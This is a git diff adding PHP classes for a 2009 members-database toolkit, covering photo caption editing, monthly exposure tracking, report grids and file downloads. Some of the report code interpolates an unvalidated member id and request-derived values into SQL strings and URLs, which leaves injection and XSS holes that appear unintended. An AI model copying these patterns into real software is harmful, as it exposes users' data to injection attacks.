+     * @param object  $is    Parameter description (if any) ...
+     * @param unknown $field Parameter description (if any) ...
+     * 
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function uploadImage(Toolkit_Image_Server $is, $field)
+    {
+        return $is->imageUpload($field);
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/EditPhoto.php b/Toolkit/Members/EditPhoto.php
new file mode 100644 (file)
index 0000000..9062fe7
--- /dev/null
@@ -0,0 +1,235 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the photos tab in the member record
+ * 
+ * Controls setting up the add photo form if applicable, and rendering
+ * each uploaded photo edit form to edit/delete the photo.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditPhoto.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Form to handle editing/deleting existing photos in members only area
+ * 
+ * Handles updating caption requests for a member or to remove a
+ * photo from thier profile
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditPhoto extends Toolkit_Members_Admin_EditPhoto
+{
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               $photo    = $this->photos->findNode($this->photoId);
+               $defaults = array(
+                       'caption' => $photo->getCaption(),
+                       'pos' => $photo->getPosition(),
+                       'pid' => $photo->getId(),
+               );
+
+               //      overwrite the photo caption w/ the pending
+               //      caption, ONLY if the pending caption exists.
+               $pc = $photo->getPendingCaption();
+               if (!empty($pc)) {
+                       $defaults['caption'] = $pc;
+                       $photo->setFauxPending(true);
+               }
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @param Config_Container $c application configuration
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements(Config_Container $c)
+       {
+        $e = array(); 
+
+               $positions = range(1, $this->photos->getListSize(true));
+               $options   = array_combine($positions, $positions);
+
+        $config =& $c->getItem('section', 'photos');
+        $maxLength =& $config->getItem('directive', 'maxCaptionLength');
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $cur = $this->photos->findNode($this->photoId);
+               
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'pid'
+               );
+               $e[] = array(
+                       'type' => 'text',
+                       'req'  => false,
+                       'name' => 'caption',
+            'display' => 'Image Caption',
+                       'opts' => array(
+                               'class'     => 'text',
+                               'maxlength' => $maxLength->getContent(),
+                       ),
+            'noCharLimit' => true
+               );
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'pos',
+                       'display' => 'Position',
+                       'opts'    => $options,
+                       'att'     => array('id' => "pos{$cur->getPosition()}")
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'update',
+                       'display' => 'Update Photo',
+                       'opts'    => array('class' => 'submit')
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'delete',
+                       'display' => 'Delete Photo',
+                       'opts'    => array('class' => 'photoDelete')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ createPendingCaption()
+
+       /**
+        * Updates the caption in the member_updates table for the photo
+        *
+        * @param array            &$values submitted values from the form.
+     * @param Config_Container $c       Member Configuration
+        *
+        * @return sql insert result
+        * @access protected
+        */
+       protected function createPendingCaption(&$values, Config_Container $c)
+       {
+        $config = $c->getItem('section', 'tables');
+        $pendingTable = $config->getItem('directive', 'pendingTable');
+
+               try {
+                       //      Insert the picture into the updates table for approval.
+                       $sql =  "
+                INSERT INTO {$pendingTable->getContent()}
+                                       (member_id, field, update, db_table,
+                                       data_type, label, foreign_key)
+                VALUES
+                                       (:member_id, :field, :update, :db_table,
+                                       :data_type, :label, :foreign_key)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(
+                ':member_id',
+                $GLOBALS['memberAuth']->getAuthData('member_id'),
+                PDO::PARAM_INT
+            );
+                       $stmt->bindValue(':field', 'caption', PDO::PARAM_STR);
+                       $stmt->bindParam(':update', $values['caption'], PDO::PARAM_BOOL);
+                       $stmt->bindValue(':db_table', 'member_photos', PDO::PARAM_STR);
+                       $stmt->bindValue(':data_type', 'text', PDO::PARAM_STR);
+                       $stmt->bindValue(':label', 'Caption', PDO::PARAM_STR);
+                       $stmt->bindParam(':foreign_key', $values['pid'], PDO::PARAM_STR);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+        //     }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+     * @param HTML_Template_Flexy  $tEngine Templating Engine
+     * @param Cache_Lite           $cache   Caching Engine
+     * @param Toolkit_Image_Server $is      Image Server
+     * @param Config_Container     $c       Member Configuration
+     *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(
+        HTML_Template_Flexy $tEngine,
+        Cache_Lite $cache,
+        Toolkit_Image_Server $is,
+        Config_Container $c
+    ) {
+               if ($this->validate()) {
+            $config = $c->getItem('section', 'conf');
+            $strictPending = $config->getItem('directive', 'strictPending');
+
+            $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+            $res = $cache->remove("Member-$id", 'Profile');
+
+            if ($this->getSubmitValue('delete')) {
+                $this->photos->removeNode($is, $c, $this->getSubmitValue('pid'));
+            }
+
+            if ($strictPending->getContent() && !$this->getSubmitValue('delete')) {
+                $this->createPendingCaption($this->getSubmitValues(), $c);
+                header('Location:' . $this->getAttribute('action'));
+            } else {
+                $this->process(
+                    array(&$this, 'processData'),
+                    $this->mergeFiles
+                );
+            }
+               }
+
+               $this->setupRenderers($tEngine);
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Exposure.php b/Toolkit/Members/Exposure.php
new file mode 100755 (executable)
index 0000000..1d27689
--- /dev/null
@@ -0,0 +1,255 @@
+<?php
+/**
+ * Exposure.php
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Exposure.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Toolkit_Members_Exposure
+ * 
+ * Exposure Tracking for Member DB
+ * tracking:
+ * list view
+ * detail view
+ * click thru
+ * Tracking record in exposure table are updated if they have 
+ * one already for that month.
+ * If they do not then one is added.
+ * NOTE:
+ * A check is done to see if the table exposure is there.
+ * If it is not there then it is created
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Steve Sutton
+ * @license   Gaslight Media
+ * @link      http://pear.php.net/package/Members
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_Members_Exposure
+{
+    //  {{{ properties
+
+    /**
+     * PDO Object instance
+     * @var    object 
+     * @access private
+     */
+    private $_dbh;
+
+    /**
+     * Member's member_id
+     * @var    unknown
+     * @access private
+     */
+    private $_member_id;
+
+    /**
+     * Original Table name is exposure
+     * can be changed to anything though
+     * @var    unknown
+     * @access private
+     */
+    private $_tableName = 'exposure';
+    /**
+     * Type of update list,detail,click
+     * @var    unknown
+     * @access private
+     */
+    private $_type;
+
+    //  }}}
+    // {{{ __construct($member_id, $type = 'list')
+
+    /**
+     * __construct
+     * 
+     * @param unknown $member_id Member
+     * @param string  $type      Which Type
+     * 
+     * @return void   
+     * @access public 
+     */
+    function __construct($member_id, $type = 'list')
+    {
+        $this->_type      = $type;
+        $this->_member_id = $member_id;
+        if (!$this->checkType()) {
+            die('Invalid type given');
+        }
+        $this->_dbh = Toolkit_Database::getInstance();
+        $this->checkTableInstallation();
+        $this->runUpdate();
+    }
+
+    // }}}
+    // {{{ createTable()
+
+    /**
+     * createTable
+     * 
+     * Creates the $this->_tableName table for tracking views
+     * 
+     * @return void   
+     * @access public 
+     */
+    function createTable()
+    {
+        $sql = "
+CREATE TABLE {$this->_tableName} (
+    exposure_id SERIAL PRIMARY KEY,
+    list integer DEFAULT 0,
+    click integer DEFAULT 0,
+    detail integer DEFAULT 0,
+    edate date DEFAULT current_date,
+    member_id integer,
+    FOREIGN KEY (member_id) REFERENCES member(member_id) ON DELETE CASCADE 
+);
+        ";
+        $this->_dbh->query($sql);
+    }
+
+    // }}}
+    // {{{ checkTableInstallation()
+
+    /**
+     * checkTableInstallation
+     * 
+     * Check to see if $this->_tableName table exists in database 
+     * 
+     * @return void   
+     * @access public 
+     */
+    function checkTableInstallation()
+    {
+        try {
+            $sql  = "
+                SELECT column_name, data_type
+                  FROM information_schema.columns
+                 WHERE table_name = :tname";
+            $stmt = $this->_dbh->prepare($sql);
+            $stmt->bindParam(':tname', $this->_tableName, PDO::PARAM_STR);
+            $stmt->execute();
+            $row = $stmt->fetch(PDO::FETCH_ASSOC);
+            if (empty($row)) {
+                $this->createTable();
+            }
+        } catch(PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+    // }}}
+    // {{{ checkType()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function checkType()
+    {
+        return in_array($this->_type, array('list', 'detail', 'click'));
+    }
+
+    // }}}
+    // {{{ runUpdate()
+
+    /**
+     * runUpdate()
+     * 
+     * Based on $this->_type an update is maed if a record exist 
+     * for that member for the current month.
+     * If there is no record then one is created.
+     * 
+     * @return void   
+     * @access private
+     */
+    function runUpdate()
+    {
+               //      Make sure the member actually exists in the members table
+               //      before we try to manipulate its exposure count. If they don't
+               //      exists, then just get us out of here so we don't throw any errors
+               try {
+                       $sql = "
+                SELECT count(*) AS exists
+                  FROM member
+                 WHERE member_id = :member_id";
+
+                       $stmt = $this->_dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->_member_id, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $stmt->bindColumn('exists', $exists);
+                       $stmt->fetch();
+
+                       if (!$exists) {
+                               return false;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+        $sql = "
+            SELECT count(exposure_id) as total
+              FROM {$this->_tableName}
+             WHERE member_id                 = :member_id
+               AND date_part('month', edate) = date_part('month', current_date)
+               AND date_part('year', edate)  = date_part('year', current_date)";
+        try {
+            $stmt = $this->_dbh->prepare($sql);
+            $stmt->bindParam(":member_id", $this->_member_id, PDO::PARAM_INT);
+            $stmt->execute();
+            $exp_data = $stmt->fetch(PDO::FETCH_ASSOC);
+            if ($exp_data['total'] > 0) {
+                // if something is found then update the exposure record
+                $sql = "
+                    UPDATE {$this->_tableName}
+                       SET {$this->_type} = {$this->_type} + 1
+                     WHERE member_id = :member_id";
+                try {
+                    $stmt2 = $this->_dbh->prepare($sql);
+                    $stmt2->bindParam(
+                        ":member_id",
+                        $this->_member_id, 
+                        PDO::PARAM_INT
+                    );
+                    $stmt2->execute();
+                } catch(PDOException $e) {
+                                       return Toolkit_Common::handleError($e);
+                } 
+            } else {
+                // else insert a new exposure record
+                $sql = "
+                                       INSERT INTO {$this->_tableName} ({$this->_type}, member_id)
+                                       VALUES (1, :member_id)";
+                try {
+                    $stmt2 = $this->_dbh->prepare($sql);
+                    $stmt2->bindParam(
+                        ":member_id",
+                        $this->_member_id, 
+                        PDO::PARAM_INT
+                    );
+                    $stmt2->execute();
+                } catch(PDOException $e) {
+                                       return Toolkit_Common::handleError($e);
+                } 
+            }
+        } catch(PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+        } 
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/Members/ExposureDetailReports.php b/Toolkit/Members/ExposureDetailReports.php
new file mode 100755 (executable)
index 0000000..bd349ab
--- /dev/null
@@ -0,0 +1,175 @@
+<?php
+/**
+ * ExposureDetailReports.php
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: ExposureDetailReports.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ */
+
+
+/**
+ * Short description for class
+ * 
+ * Exposuer Report of Member list,click,detail views
+ * for admin and member only area
+ * flag in BASE.setup.phtml of 
+ * 
+ * @category  MembersD
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_Members_ExposureDetailReports
+       extends Toolkit_FlexyDataGridBuilder
+{
+    // {{{ properties
+
+    /**
+     * Table name for tracking
+     * @var    string   
+     * @access protected
+     */
+    protected $tableName = 'exposure';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+    protected $queryParams = array();
+
+    /**
+     * Template File
+     * @var    string   
+     * @access protected
+     */
+    protected $template = 'exposureDetail.tpl';
+
+       // }}}
+    //    {{{ __construct()
+
+    /**
+     * Class constructor
+     *
+     * define where templates for the data grid are at, 
+     * then call the parent constructor which will handle
+     * finishing the settings for the datagrid.
+     *
+     * After all settings are finished you can call the toHTML()
+     * function on this object and the datagrid
+     * will be rendered and returned as a string.  
+     * Optionally you could call show() and the datagrid would
+     * be rendered and output immediatley to the screen.
+     *
+        * @param PDO     $pdo          PDO object used in the datagrid
+     * @param integer $limit        The number of records to display per page.
+     * @param integer $page         The current page view. In most cases,
+        *                                                              this is useless. Note: if you specify
+        *                                                              this, the "page"GET variable will be ignored.
+     * @param string  $rendererType The type of renderer to use. You may
+        *                                                              prefer to use the $type argument of
+        *                                                              render, fill or getOutput.
+     * 
+     * @access public
+     */
+    public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+        $this->pagerOptions['containerClass'] = 'pages';
+        parent::__construct($pdo, $limit, $page, $rendererType);
+    }
+
+    //    }}}
+
+    //    {{{ configureColumns()
+
+    /**
+     * Configures the columns (fields) that will be used in our datagrid renderer.
+     *
+     * @return void
+     * @access public
+     */
+    protected function configureColumns()
+    {
+        $month =& new Structures_DataGrid_Column('Month',
+                                                'month',
+                                                'month',
+                                                null,
+                                                null,
+                                                array(&$this, 'showMonth'));
+        $this->addColumn($month);
+
+        $memberName =& new Structures_DataGrid_Column('Member Name',
+                                                      'member_name',
+                                                      'member_name');
+        $this->addColumn($memberName);
+
+        $list =& new Structures_DataGrid_Column('List',
+                                               'list',
+                                               'list');
+        $this->addColumn($list);
+
+        $detail =& new Structures_DataGrid_Column('Detail',
+                                                  'detail',
+                                                  'detail');
+        $this->addColumn($detail);
+
+        $click =& new Structures_DataGrid_Column('Click',
+                                                 'click',
+                                                 'click');
+        $this->addColumn($click);
+    }
+
+    //    }}}
+
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param integer $mid Member id to fetch reports for
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery($mid)
+    {
+        $sql = "
+                       SELECT e.*, date_part('epoch', e.edate) AS month, m.member_name
+                         FROM exposure e LEFT OUTER JOIN member m
+                                  ON (m.member_id = e.member_id)
+                        WHERE e.member_id = $mid";
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+    //  {{{ showMonth()
+
+    /**
+     * Returns the monht for a record.
+     *
+     * @param array $data Structure Datagrid
+     * 
+     * @access public
+     * @return string
+     */
+    public function showMonth($data)
+    {
+        return date('F, Y', $data['record']['month']);
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/ExposureReports.php b/Toolkit/Members/ExposureReports.php
new file mode 100755 (executable)
index 0000000..8370c3d
--- /dev/null
@@ -0,0 +1,328 @@
+<?php
+/**
+ * ExposureReports.php
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: ExposureReports.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ */
+
+
+/**
+ * Toolkit_Members_ExposureReports
+ * 
+ * Exposuer Report of Member list,click,detail views
+ * for admin and member only area
+ * flag in BASE.setup.phtml of 
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_Members_ExposureReports extends Toolkit_FlexyDataGridBuilder
+{
+    // {{{ properties
+
+    protected $noRecMessage = 'No Data Found';
+    /**
+     * Table name for tracking
+     * @var    string   
+     * @access protected
+     */
+    protected $tableName = 'exposure';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+    protected $queryParams = array();
+
+    /**
+     * Template File
+     * @var    string   
+     * @access protected
+     */
+    protected $template = 'exposureList.tpl';
+
+    // }}}
+    // {{{ __construct()
+
+    /**
+     * Class constructor
+     *
+     * define where templates for the data grid are at, 
+     * then call the parent constructor which will handle
+     * finishing the settings for the datagrid.
+     *
+     * After all settings are finished you can call the toHTML()
+     * function on this object and the datagrid
+     * will be rendered and returned as a string.  
+     * Optionally you could call show() and the datagrid would
+     * be rendered and output immediatley to the screen.
+     *
+        * @param PDO     $pdo          PDO object used in the datagrid
+     * @param integer $limit        The number of records to display per page.
+     * @param integer $page         The current page view. In most cases,
+        *                                                              this is useless. Note: if you specify
+        *                                                              this, the "page"GET variable will be ignored.
+     * @param string  $rendererType The type of renderer to use. You may
+        *                                                              prefer to use the $type argument of
+        *                                                              render, fill or getOutput.
+     * 
+     * @access public
+     */
+    public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+        $this->dbh = $pdo;
+        $this->checkTableInstallation();
+        $this->pagerOptions['containerClass'] = 'pages';
+        parent::__construct($pdo, $limit, $page, $rendererType);
+    }
+
+    // }}}
+
+    // {{{ createTable()
+
+    /**
+     * createTable
+     * 
+     * Creates the $this->tableName table for tracking views
+     * 
+     * @return void   
+     * @access public 
+     */
+    function createTable()
+    {
+        $sql = "
+            CREATE TABLE {$this->tableName} (
+                exposure_id SERIAL PRIMARY KEY,
+                list integer DEFAULT 0,
+                click integer DEFAULT 0,
+                detail integer DEFAULT 0,
+                edate date DEFAULT current_date,
+                member_id integer,
+                FOREIGN KEY (member_id) REFERENCES member(member_id) ON DELETE CASCADE 
+            );";
+        $this->dbh->query($sql);
+    }
+
+    // }}}
+    // {{{ checkTableInstallation()
+
+    /**
+     * checkTableInstallation
+     * 
+     * Check to see if $this->tableName table exists in database 
+     * 
+     * @return void   
+     * @access public 
+     */
+    function checkTableInstallation()
+    {
+        try {
+            $sql  = "
+                SELECT column_name, data_type
+                  FROM information_schema.columns
+                 WHERE table_name = :tname";
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':tname', $this->tableName, PDO::PARAM_STR);
+            $stmt->execute();
+            $row = $stmt->fetch(PDO::FETCH_ASSOC);
+            if (empty($row)) {
+                $this->createTable();
+            }
+        } catch(PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    // }}}
+    // {{{ configureColumns()
+
+    /**
+     * Configures the columns (fields) that will be used in our datagrid renderer.
+     *
+     * @return void
+     * @access public
+     */
+    protected function configureColumns()
+    {
+        $recordUrl =& new Structures_DataGrid_Column('DirectURL',
+                                                     'directUrl',
+                                                     'directUrl',
+                                                     null,
+                                                     null,
+                                                     array(&$this, 'recordUrl'));
+        $this->addColumn($recordUrl);
+
+        $memberName =& new Structures_DataGrid_Column('Member Name',
+                                                     'member_name');
+        $this->addColumn($memberName);
+
+        $list =& new Structures_DataGrid_Column('List',
+                                                'list',
+                                                'list');
+        $this->addColumn($list);
+
+        $detail =& new Structures_DataGrid_Column('Detail',
+                                                  'detail',
+                                                  'detail');
+        $this->addColumn($detail);
+
+        $click =& new Structures_DataGrid_Column('Click',
+                                                 'click',
+                                                 'click');
+        $this->addColumn($click);
+    }
+
+    // }}}
+
+    // {{{ recordUrl()
+
+    /**
+     * Returns the url for a member.
+     *
+     * Used when configuring the columns for the data grid. This
+     * function generates the url to get to the member detail page
+     *
+     * @param array $data Structure_DataGrid
+     *
+     * @return string
+     * @access public
+     */
+    public function recordUrl($data)
+    {
+        $month  = ($_REQUEST['reportMonth']) ? '&reportMonth='.
+            $_REQUEST['reportMonth']: '';
+        $cat    = ($_REQUEST['cat']) ? '&cat='.$_REQUEST['cat']:'';
+        $subCat = ($_REQUEST['subCat']) ? '&subCat='.
+            $_REQUEST['subCat']:'';
+        return "members.php?".
+            "member_id={$data['record']['member_id']}".
+            $month.
+            $cat.
+            $subCat;
+    }
+
+    // }}}
+
+    // {{{ setControlObject()
+
+    /**
+     * Sets any control object variables that are going to be used in the template
+     *
+     * @return void
+     * @access public
+     */
+    protected function setControlObject()
+    {
+        $sql = "
+                       SELECT date_part('month', min(edate)) AS start_month,
+                              date_part('year', min(edate)) AS start_year,
+                                  date_part('month', max(edate)) AS end_month,
+                                  date_part('year', max(edate)) AS end_year
+              FROM exposure";
+
+        $sql = "
+            SELECT distinct ON (date_part('year', edate),
+                                date_part('month', edate))
+                                date_part('month', edate) as month,
+                                date_part('year', edate) as year
+              FROM exposure
+             WHERE member_id in (
+                    SELECT distinct member_id
+                      FROM member)
+             ORDER BY date_part('year', edate), date_part('month', edate)";
+        if ($monthData = $this->dbh->query($sql)->fetchAll()) {
+            if (!$_REQUEST['monthYear']) {
+                $m          = date("n");
+                $F          = date("F");
+                $Y          = date("Y");
+                $monthYear .= $m.' '.$Y;
+            } else {
+                $monthYear .= $_REQUEST['monthYear'];
+            }
+            foreach ($monthData as $data) {
+                $monthName = date(
+                    "F",
+                    mktime(0, 0, 0, $data['month'], 1, date('year'))
+                );
+                $mData[$data['month'].'|'.$data['year']] = $monthName.
+                    ' '.$data['year'];
+            }
+            $form = new HTML_QuickForm('ReportsListForm', 'get');
+            $form->addElement('hidden', 'cat', $_REQUEST['cat']);
+            $form->addElement('hidden', 'subCat', $_REQUEST['subCat']);
+            $form->addElement(
+                'select',
+                'reportMonth', 
+                'Show Summary for month of ',
+                $mData
+            );
+            $form->addElement('submit', 'reportSubmit', 'Go');
+            if ($_REQUEST['reportMonth']) {
+                $form->setDefaults(
+                    array('reportMonth' => $_REQUEST['reportMonth'])
+                );
+            } else {
+                $form->setDefaults(
+                    array('reportMonth' => date('n').'|'.date('Y'))
+                );
+            }
+            $this->ctrlObj['exposureForm'] = $form->toHTML();
+        }
+    }
+
+    // }}}
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param array $monthYear Which month to show
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery($monthYear = null)
+    {
+
+        if ($monthYear) {
+            list($month, $year) = explode("|", $monthYear);
+        } else {
+            $month = date('n');
+            $year  = date('Y');
+        }
+
+        $stime = date('m/d/Y', mktime(0, 0, 0, $month, 1, $year));
+        $etime = date('m/d/Y', mktime(0, 0, 0, $month +1, -1, $year));
+
+        $sql   = "
+                       SELECT m.member_name, m.member_id, sum(e.list) AS list,
+                                  sum(e.click) as click, sum(e.detail) AS detail
+                         FROM exposure e, member m
+                        WHERE e.member_id =  m.member_id
+                          and e.edate     >= '$stime'
+                          and e.edate     <= '$etime'
+                        GROUP BY m.member_name, m.member_id
+                        ORDER BY m.member_name";
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/FileDownload.php b/Toolkit/Members/FileDownload.php
new file mode 100644 (file)
index 0000000..664f71e
--- /dev/null
@@ -0,0 +1,224 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Download manager
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: FileDownload.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * File Download Manager
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_FileDownload
+{
+    //  {{{ properties
+
+
+    /**
+     * Database Handler
+     * @var    object   
+     * @access protected
+     */
+       protected $dbh;
+
+    //  }}}
+    //  {{{ __construct()
+
+
+    /**
+     * Constructor
+     * 
+     * @param PDO $pdo PHP Data Object to use for dbh
+     *
+     * @return void  
+     * @access public
+     */
+       public function __construct(PDO $pdo)
+    {
+               $this->dbh = $pdo;
+       }
+
+    //  }}}
+
+    //  {{{ fileExists()
+
+
+    /**
+     * Determine if the file exists
+     * 
+     * The file we are trying to get is determined by the file id passed in
+     * from the url.
+     * 
+     * @param integer $fid File id to retrieve
+     *
+     * @return mixed   array of file data if file exists, otherwise false
+     * @access protected
+     */
+    protected function fileExists($fid)
+    {
+        if (!is_numeric($fid) || !ctype_digit((string) $fid)) {
+            return false;
+        }
+
+        try {
+                       $sql = "
+                               SELECT *
+                                 FROM member_files
+                                WHERE member_id = :mid
+                                  AND id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->mid, PDO::PARAM_INT);
+                       $stmt->bindParam(':id', $fid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       return $stmt->fetch(PDO::FETCH_ASSOC);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ getFile()
+
+
+    /**
+     * Get the data about the file we are requesting
+     * 
+     * @param integer $mid Member Id
+     * @param integer $fid File Id
+     *                      
+     * @return mixed   Array of file data if success, otherwise PEAR error
+     * @access public 
+     */
+       public function getFile($mid, $fid)
+    {
+        if (!$this->memberExists($mid)) {
+            return PEAR::raiseError('Invalid Member');
+        }
+
+        if (!$file = $this->fileExists($fid)) {
+            return PEAR::raiseError('Invalid File');
+        }
+
+        if (empty($file['file_name'])) {
+            $file['file_name'] = $file['original_name'];
+        }
+
+        return $file;
+       }
+
+    //  }}}
+
+    //  {{{ memberExists()
+
+
+    /**
+     * Determines if the member we are trying to get a file for is a real member
+     * 
+     * @param integer $mid member id to check for
+     *
+     * @return boolean True if real member, False if not
+     * @access protected 
+     */
+    protected function memberExists($mid)
+    {
+        if (!is_numeric($mid) || !ctype_digit((string) $mid)) {
+            return false;
+        }
+
+        try {
+            $sql = "
+                SELECT count(*) AS total
+                  FROM member
+                 WHERE member_id = :mid";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':mid', $mid, PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('total', $total);
+            $row = $stmt->fetch();
+
+            if ($total) {
+                $this->mid = $mid;
+                return true;
+            } else {
+                return false;
+            }
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ sendFileToBrowser()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Sends the file to the browser via headers
+     * 
+     * @param array $file File data to use
+     *
+     * @return void   
+     * @access public 
+     */
+    public function sendFileToBrowser(array $file)
+    {
+        extract($file);
+
+        $ext = pathinfo(MEMBER_UPLOADED_FILES . $name_on_disk, PATHINFO_EXTENSION);
+        switch ($ext) {
+        case 'txt' :
+            $type = 'text/plain';
+            break;
+
+        case 'doc' :
+            $type = 'application/msword';
+            break;
+
+        case 'xls' :
+            $type = 'application/vnd.ms-excel';
+            break;
+
+        case 'pdf' :
+            $type = 'application/pdf';
+            break;
+
+        default :
+            $type = 'application/pdf';
+            break;
+        }
+               // now get the pdf from file and push out to browser
+               // using header()
+               header("Content-Type: $type;");
+               header('Content-Disposition: attachment; filename="'.$file_name.'";');
+               header('Content-Length: '.(string) $size);
+               header('Cache-Control: maxage=3600;'); //Adjust maxage appropriately
+               header('Pragma: public;');
+               readfile(MEMBER_UPLOADED_FILES.$name_on_disk);
+               exit();
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/Member.php b/Toolkit/Members/Member.php
new file mode 100644 (file)
index 0000000..25626dc
--- /dev/null
@@ -0,0 +1,106 @@
+<?php
